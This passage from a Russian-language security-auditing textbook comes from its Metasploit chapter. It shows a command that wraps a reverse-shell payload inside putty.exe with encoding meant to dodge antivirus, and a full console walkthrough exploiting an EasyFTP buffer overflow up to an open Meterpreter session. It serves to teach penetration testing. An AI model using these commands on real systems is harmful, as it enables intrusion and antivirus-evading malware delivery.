Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Skabtsov_N_V_-_Audit_bezopasnosti_informatsionnykh_sistem_-_2018.pdf
Скачиваний:
111
Добавлен:
24.01.2021
Размер:
9 Mб
Скачать

Практические навыки    165

msf payload(shell_reverse_tcp) > generate -o LHOST=192.168.10.5 -b '\x00' -e x86/ shikata_ga_nai -c 8 -x /root/Downloads/putty.exe -t exe -f /root/revers_shell.exe [*] Writing 531368 bytes to /root/revers_shell.exe...

Как видно, в результате инкапсуляции количество антивирусов, которые смогли распознать вредоносный код, существенно уменьшилось.

Рис. 11.3. Результат проверки файла с внедренным кодом сервисом VirusTotal

Такой хороший результат работы антивирусов обусловлен тем, что Metasploit содержит хорошо известные эксплойты. Если вы действительно хотите обойти антивирус, то необходимо создавать свой уникальный код или искать новые эскплойты, еще неизвестные широкому кругу специалистов.

Практические навыки

Теперь, когда мы показали, как пользоваться отдельными частями Metasploit, пришла пора собрать все вместе и продемонстрировать генерацию эксплойта с полезной нагрузкой и взлом целевой системы.

На прошлом шаге мы уже нашли уязвимый FTP-сервер. Теперь выберем нужный эксплойт и сконфигурируем его.

msf auxiliary(ftp_login) > use windows/ftp/easyftp_cwd_fixret msf exploit(easyftp_cwd_fixret) > info

Name: EasyFTP Server CWD Command Stack Buffer Overflow

Module: exploit/windows/ftp/easyftp_cwd_fixret

Platform: Windows

Privileged: No

License: Metasploit Framework License (BSD)

Rank: Great

Disclosed: 2010-02-16

Provided by:

Paul Makowski <my.hndl@gmail.com> jduck <jduck@metasploit.com>

Available targets:

166    Глава 11  •  Metasploit Framework

Id Name

------

0Windows Universal — v1.7.0.2

1Windows Universal — v1.7.0.3

2Windows Universal — v1.7.0.4

3Windows Universal — v1.7.0.5

4Windows Universal — v1.7.0.6

5Windows Universal — v1.7.0.7

6Windows Universal — v1.7.0.8

7Windows Universal — v1.7.0.9

8Windows Universal — v1.7.0.10

9Windows Universal — v1.7.0.11

Basic options:

 

 

Name

Current Setting

Required

Description

----

---------------

--------

-----------

FTPPASS

mozilla@example.com

no

The password for the specified username

FTPUSER

anonymous

no

The username to authenticate as

RHOST

 

yes

The target address

RPORT

21

yes

The target port

Payload information:

Space: 450

Avoid: 4 characters

Description:

This module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.11 and earlier. EasyFTP fails to check input size when parsing 'CWD' commands, which leads to a stack based buffer overflow.

EasyFTP allows anonymous access by default; valid credentials are typically unnecessary to exploit this vulnerability. After version 1.7.0.12, this package was renamed "UplusFtp". This exploit utilizes a small piece of code that I\'ve referred to as 'fixRet'. This code allows us to inject of payload of ~500 bytes into a 264 byte buffer by 'fixing' the return address post-exploitation. See references for more information.

References: OSVDB (62134)

http://www.securityfocus.com/bid/38262 http://paulmakowski.wordpress.com/2010/02/28/increasing-payload-size-w-return-

address-overwrite/ http://paulmakowski.wordpress.com/2010/04/19/metasploit-plugin-for-easyftp-

server-exploit http://seclists.org/bugtraq/2010/Feb/202

msf exploit(easyftp_cwd_fixret) > set RHOST 192.168.225.1 RHOST => 192.168.225.1

msf exploit(easyftp_cwd_fixret) >

Просмотрим варианты шелл-кодов и выберем нужный нам.

msf exploit(easyftp_cwd_fixret) > show payloads

Compatible Payloads

===================

 

Практические навыки   

167

Name

Disclosure Date

Rank

 

Description

 

 

 

----

---------------

----

---

--------

 

 

 

generic/custom

 

normal

 

Custom Payload

 

 

 

generic/debug_trap

 

normal

 

Generic x86 Debug Trap

 

 

 

generic/shell_bind_tcp

 

normal

 

Generic Command Shell, Bind TCP Inline

 

 

 

generic/shell_reverse_tcp

 

normal

 

Generic Command Shell, Reverse TCP Inline

 

 

 

generic/tight_loop

 

normal

 

Generic x86 Tight Loop

 

 

 

windows/dllinject/bind_hidden_ipknock_tcp

 

normal

 

Reflective DLL Injection, Hidden Bind Ipknock TCP Stager

 

 

windows/dllinject/bind_hidden_tcp

 

normal

 

Reflective DLL Injection, Hidden Bind TCP Stager

 

 

 

windows/dllinject/bind_ipv6_tcp

 

normal

 

Reflective DLL Injection, Bind IPv6 TCP Stager (Windows x86)

 

 

...

 

 

 

После того как мы определились с нагрузкой, проверим параметры и поэксплуатируем уязвимость в FTP-сервере.

msf exploit(easyftp_cwd_fixret) > set PAYLOAD windows/meterpreter/bind_tcp PAYLOAD => windows/meterpreter/bind_tcp

msf exploit(easyftp_cwd_fixret) > show options

Module options (exploit/windows/ftp/easyftp_cwd_fixret):

Name

Current Setting

Required

Description

----

---------------

--------

-----------

FTPPASS

mozilla@example.com no

The password for the specified username

FTPUSER

anonymous

no

The username to authenticate as

RHOST

192.168.225.1

yes

The target address

RPORT

21

yes

The target port

Payload options (windows/meterpreter/bind_tcp):

Name

Current Setting

Required Description

------------------- -------- -----------

EXITFUNC

process

yes

Exit technique (Accepted: '', seh, thread,

process, none)

 

 

 

LPORT

4444

yes

The listen

port

RHOST

192.168.225.1

no

The target

address

Exploit target:

Id Name

------

0 Windows Universal — v1.7.0.2

168    Глава 11  •  Metasploit Framework

msf exploit(easyftp_cwd_fixret) > exploit

[*]Started bind handler

[*]192.168.225.1:21 — Prepending fixRet...

[*]192.168.225.1:21 — Adding the payload...

[*]192.168.225.1:21 — Overwriting part of the payload with target address...

[*]192.168.225.1:21 — Sending exploit buffer...

[*]Sending stage (748032 bytes)

[*]Meterpreter session 1 opened (192.168.225.128:4444 -> 192.168.225.1:62853)

meterpreter>sysinfo

Computer: TEST

OS : Windows 7 (Build 7601,Service Pack 1).

Architecture : x86

System Language : en_US

Meterpreter : x86/win32

Резюме

Metasploit является универсальным инструментом для проведения аудита безопасности. Данный фреймворк постоянно поддерживается и обновляется. Основная работа с бесплатной версией происходит через командный интерфейс с использованием msfconsole, однако не забывайте о наличии графического интерфейса Armitage: информацию проще усвоить, когда она представлена в графическом виде.

Помните, что Metasploit состоит из ядра, которое обеспечивает совместную работу следующих подключаемых компонентов:

Интерфейсы: консольный и графические;Модули:

yy эксплойты (обеспечивают возможность эксплуатации найденной уязви­ мости);

yy полезная нагрузка (программа, которая запускается после успешной работы эксплойта и выполняет переделенную функцию, например создание пользователя, открытие порта и т. д.);

yy вспомогательные модули (сканер портов, перебор паролей, анализ трафика и т. д.);

yy энкодеры (позволяют скрыть вредоносный код от систем защиты путем его многократного преобразования) и т. д.

Расширения — позволяют значительно расширить функционал Metasploit. Основные команды Metasploit:

back — используйте, чтобы вернуться к предыдущему контексту после того, как вы закончили работу с модулем или выбрали неверный модуль;

Резюме    169

check — проверяет уязвимость целевой системы перед выбранным эксплойтом;connect — подключение к удаленной системе

edit — правка в установленном графическом или текстовом редакторе;exit — закончить работу;

help — выведет справку о доступных командах;info — выведет на экран информацию о модуле;jobs — позволяет управлять запущенными задачами;kill — остановит запущенную задачу;

load — загрузит нужное расширение из директории Metasploit;search — поиск модулей;

set — установить необходимое значение;

use — выбрать и начать работать с конкретным модулем.

Обязательно ознакомьтесь с прекрасным бесплатным курсом от Offensive Security — https://www.offensive-security.com/metasploit-unleashed/.